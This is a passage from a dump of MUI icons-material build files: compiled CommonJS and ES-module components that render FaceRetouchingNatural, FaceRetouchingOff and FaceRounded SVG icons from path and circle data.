    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.89 10.75c.07.41.11.82.11 1.25 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-.05.01-.1 0-.14 2.6-.98 4.69-2.99 5.74-5.55 3.38 4.14 7.97 3.73 8.99 3.61l-.89-1.93c-.13.01-4.62.38-7.18-3.86 1.01-.16 1.71-.15 2.59-.01 2.52-1.15 1.93-.89 2.76-1.26C14.78 2.3 13.43 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.43-.3-2.78-.84-4.01zM8.08 5.03C7.45 6.92 6.13 8.5 4.42 9.47 5.05 7.58 6.37 6 8.08 5.03\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 4.5-2.4-1.1L19.5 1l-1.1 2.4L16 4.5l2.4 1.1L19.5 8l1.1-2.4z\"\n}, \"3\")], 'FaceRetouchingNaturalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNaturalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.89 10.75c.07.41.11.82.11 1.25 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-.05.01-.1 0-.14 2.6-.98 4.69-2.99 5.74-5.55 3.38 4.14 7.97 3.73 8.99 3.61l-.89-1.93c-.13.01-4.62.38-7.18-3.86 1.01-.16 1.71-.15 2.59-.01 2.52-1.15 1.93-.89 2.76-1.26C14.78 2.3 13.43 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.43-.3-2.78-.84-4.01zM8.08 5.03C7.45 6.92 6.13 8.5 4.42 9.47 5.05 7.58 6.37 6 8.08 5.03\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 4.5-2.4-1.1L19.5 1l-1.1 2.4L16 4.5l2.4 1.1L19.5 8l1.1-2.4z\"\n}, \"3\")], 'FaceRetouchingNaturalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNaturalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.01 4.05 20.6 3.4l-.65-1.41c-.18-.39-.73-.39-.91 0L18.4 3.4l-1.41.65c-.39.18-.39.73 0 .91l1.41.64.65 1.41c.18.39.73.39.91 0l.64-1.41 1.41-.65c.39-.17.39-.73 0-.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 8.8c-.78 0-1.49-.46-1.82-1.17l-.41-.9-.9-.41c-.71-.33-1.17-1.04-1.17-1.82 0-.66.34-1.26.87-1.63C14.83 2.32 13.45 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.45-.32-2.83-.87-4.07-.37.53-.97.87-1.63.87M12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 2.6-.98 4.69-2.99 5.74-5.55C11.58 8.56 14.37 10 17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"3\")], 'FaceRetouchingNaturalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNaturalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.01 4.05 20.6 3.4l-.65-1.41c-.18-.39-.73-.39-.91 0L18.4 3.4l-1.41.65c-.39.18-.39.73 0 .91l1.41.64.65 1.41c.18.39.73.39.91 0l.64-1.41 1.41-.65c.39-.17.39-.73 0-.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 8.8c-.78 0-1.49-.46-1.82-1.17l-.41-.9-.9-.41c-.71-.33-1.17-1.04-1.17-1.82 0-.66.34-1.26.87-1.63C14.83 2.32 13.45 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.45-.32-2.83-.87-4.07-.37.53-.97.87-1.63.87M12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 2.6-.98 4.69-2.99 5.74-5.55C11.58 8.56 14.37 10 17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"3\")], 'FaceRetouchingNaturalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNaturalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.85 10.59C20.79 15.4 17.01 20 12 20c-4.41 0-8-3.59-8-8 0-.39 3.87-1.12 5.74-5.69 3.42 4.19 8.07 3.73 9.09 3.59l-1.48-3.25-4.72-2.15 3.5-1.59C9.51-.14 2 4.77 2 12c0 5.52 4.48 10 10 10 7.21 0 12.12-7.45 9.1-14.13z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.6 5.6 19.5 8l-1.1-2.4L16 4.5l2.4-1.1L19.5 1l1.1 2.4L23 4.5z\"\n}, \"3\")], 'FaceRetouchingNaturalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNaturalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.85 10.59C20.79 15.4 17.01 20 12 20c-4.41 0-8-3.59-8-8 0-.39 3.87-1.12 5.74-5.69 3.42 4.19 8.07 3.73 9.09 3.59l-1.48-3.25-4.72-2.15 3.5-1.59C9.51-.14 2 4.77 2 12c0 5.52 4.48 10 10 10 7.21 0 12.12-7.45 9.1-14.13z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.6 5.6 19.5 8l-1.1-2.4L16 4.5l2.4-1.1L19.5 1l1.1 2.4L23 4.5z\"\n}, \"3\")], 'FaceRetouchingNaturalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNaturalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.66 4.12c2.55 4.23 7.03 3.87 7.18 3.86l-.57-1.25L12.4 4.5l.85-.39C12.84 4.04 12.43 4 12 4c-.46 0-.91.05-1.34.12m-2.58.91C6.37 6 5.05 7.58 4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.89 10.75c.07.41.11.82.11 1.25 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-.05.01-.1 0-.14 2.6-.98 4.69-2.99 5.74-5.55 3.38 4.14 7.97 3.73 8.99 3.61l-.89-1.93c-.13.01-4.62.38-7.18-3.86 1.01-.16 1.71-.15 2.59-.01l2.12-.97.64-.29C14.78 2.3 13.43 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.43-.3-2.78-.84-4.01zM8.08 5.03C7.45 6.92 6.13 8.5 4.42 9.47 5.05 7.58 6.37 6 8.08 5.03\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.6 3.4 19.5 1l-1.1 2.4L16 4.5l2.4 1.1L19.5 8l1.1-2.4L23 4.5z\"\n}, \"4\")], 'FaceRetouchingNaturalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNaturalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.66 4.12c2.55 4.23 7.03 3.87 7.18 3.86l-.57-1.25L12.4 4.5l.85-.39C12.84 4.04 12.43 4 12 4c-.46 0-.91.05-1.34.12m-2.58.91C6.37 6 5.05 7.58 4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.89 10.75c.07.41.11.82.11 1.25 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-.05.01-.1 0-.14 2.6-.98 4.69-2.99 5.74-5.55 3.38 4.14 7.97 3.73 8.99 3.61l-.89-1.93c-.13.01-4.62.38-7.18-3.86 1.01-.16 1.71-.15 2.59-.01l2.12-.97.64-.29C14.78 2.3 13.43 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.43-.3-2.78-.84-4.01zM8.08 5.03C7.45 6.92 6.13 8.5 4.42 9.47 5.05 7.58 6.37 6 8.08 5.03\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.6 3.4 19.5 1l-1.1 2.4L16 4.5l2.4 1.1L19.5 8l1.1-2.4L23 4.5z\"\n}, \"4\")], 'FaceRetouchingNaturalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39M1.89 3.72l2.19 2.19C2.78 7.6 2 9.71 2 12c0 5.52 4.48 10 10 10 2.29 0 4.4-.78 6.09-2.08l2.19 2.19 1.41-1.41L3.31 2.31zm14.77 14.77C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39z\"\n}, \"1\")], 'FaceRetouchingOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39M1.89 3.72l2.19 2.19C2.78 7.6 2 9.71 2 12c0 5.52 4.48 10 10 10 2.29 0 4.4-.78 6.09-2.08l2.19 2.19 1.41-1.41L3.31 2.31zm14.77 14.77C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39z\"\n}, \"1\")], 'FaceRetouchingOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39m-6.84-5.88c.43-.07.88-.12 1.34-.12 2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88m-8.77-.4 2.19 2.19C2.78 7.6 2 9.71 2 12c0 5.52 4.48 10 10 10 2.29 0 4.4-.78 6.09-2.08l2.19 2.19 1.41-1.41L3.31 2.31zm14.77 14.77C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39zM6.23 8.06c-.53.55-1.14 1.03-1.81 1.41.26-.77.63-1.48 1.09-2.13z\"\n}, \"1\")], 'FaceRetouchingOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39m-6.84-5.88c.43-.07.88-.12 1.34-.12 2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88m-8.77-.4 2.19 2.19C2.78 7.6 2 9.71 2 12c0 5.52 4.48 10 10 10 2.29 0 4.4-.78 6.09-2.08l2.19 2.19 1.41-1.41L3.31 2.31zm14.77 14.77C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39zM6.23 8.06c-.53.55-1.14 1.03-1.81 1.41.26-.77.63-1.48 1.09-2.13z\"\n}, \"1\")], 'FaceRetouchingOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39M2.6 4.43l1.48 1.48C2.51 7.95 1.7 10.6 2.1 13.46c.62 4.33 4.11 7.82 8.44 8.44 2.85.41 5.51-.41 7.55-1.98l1.48 1.48c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.01 3.01a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.42m14.06 14.06C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39z\"\n}, \"1\")], 'FaceRetouchingOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39M2.6 4.43l1.48 1.48C2.51 7.95 1.7 10.6 2.1 13.46c.62 4.33 4.11 7.82 8.44 8.44 2.85.41 5.51-.41 7.55-1.98l1.48 1.48c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.01 3.01a.996.996 0 0 0-1.41 0c-.39.4-.39 1.03 0 1.42m14.06 14.06C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39z\"\n}, \"1\")], 'FaceRetouchingOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39M1.89 3.72l2.19 2.19C2.78 7.6 2 9.71 2 12c0 5.52 4.48 10 10 10 2.29 0 4.4-.78 6.09-2.08l2.19 2.19 1.41-1.41L3.31 2.31zm14.77 14.77C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39z\"\n}, \"1\")], 'FaceRetouchingOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39M1.89 3.72l2.19 2.19C2.78 7.6 2 9.71 2 12c0 5.52 4.48 10 10 10 2.29 0 4.4-.78 6.09-2.08l2.19 2.19 1.41-1.41L3.31 2.31zm14.77 14.77C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39z\"\n}, \"1\")], 'FaceRetouchingOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-.46 0-.91.05-1.34.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4M4.42 9.47c.67-.38 1.28-.86 1.81-1.41l-.72-.72c-.46.65-.83 1.36-1.09 2.13\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 14.25c.69 0 1.25-.56 1.25-1.25S9.69 11.75 9 11.75s-1.25.56-1.25 1.25.56 1.25 1.25 1.25M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39m-6.84-5.88c.43-.07.88-.12 1.34-.12 2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88m-8.77-.4 2.19 2.19C2.78 7.6 2 9.71 2 12c0 5.52 4.48 10 10 10 2.29 0 4.4-.78 6.09-2.08l2.19 2.19 1.41-1.41L3.31 2.31zm14.77 14.77C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39zM5.51 7.34l.72.72c-.53.55-1.14 1.03-1.81 1.41.26-.77.63-1.48 1.09-2.13\"\n}, \"1\")], 'FaceRetouchingOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-.46 0-.91.05-1.34.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4M4.42 9.47c.67-.38 1.28-.86 1.81-1.41l-.72-.72c-.46.65-.83 1.36-1.09 2.13\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 14.25c.69 0 1.25-.56 1.25-1.25S9.69 11.75 9 11.75s-1.25.56-1.25 1.25.56 1.25 1.25 1.25M17.5 10c.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 1.22-.28 2.37-.77 3.4l1.49 1.49C21.53 15.44 22 13.78 22 12c0-5.52-4.48-10-10-10-1.78 0-3.44.47-4.89 1.28l5.33 5.33c1.49.88 3.21 1.39 5.06 1.39m-6.84-5.88c.43-.07.88-.12 1.34-.12 2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88m-8.77-.4 2.19 2.19C2.78 7.6 2 9.71 2 12c0 5.52 4.48 10 10 10 2.29 0 4.4-.78 6.09-2.08l2.19 2.19 1.41-1.41L3.31 2.31zm14.77 14.77C15.35 19.44 13.74 20 12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1 0-.14 1.39-.52 2.63-1.35 3.64-2.39zM5.51 7.34l.72.72c-.53.55-1.14 1.03-1.81 1.41.26-.77.63-1.48 1.09-2.13\"\n}, \"1\")], 'FaceRetouchingOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRounded.mjs",
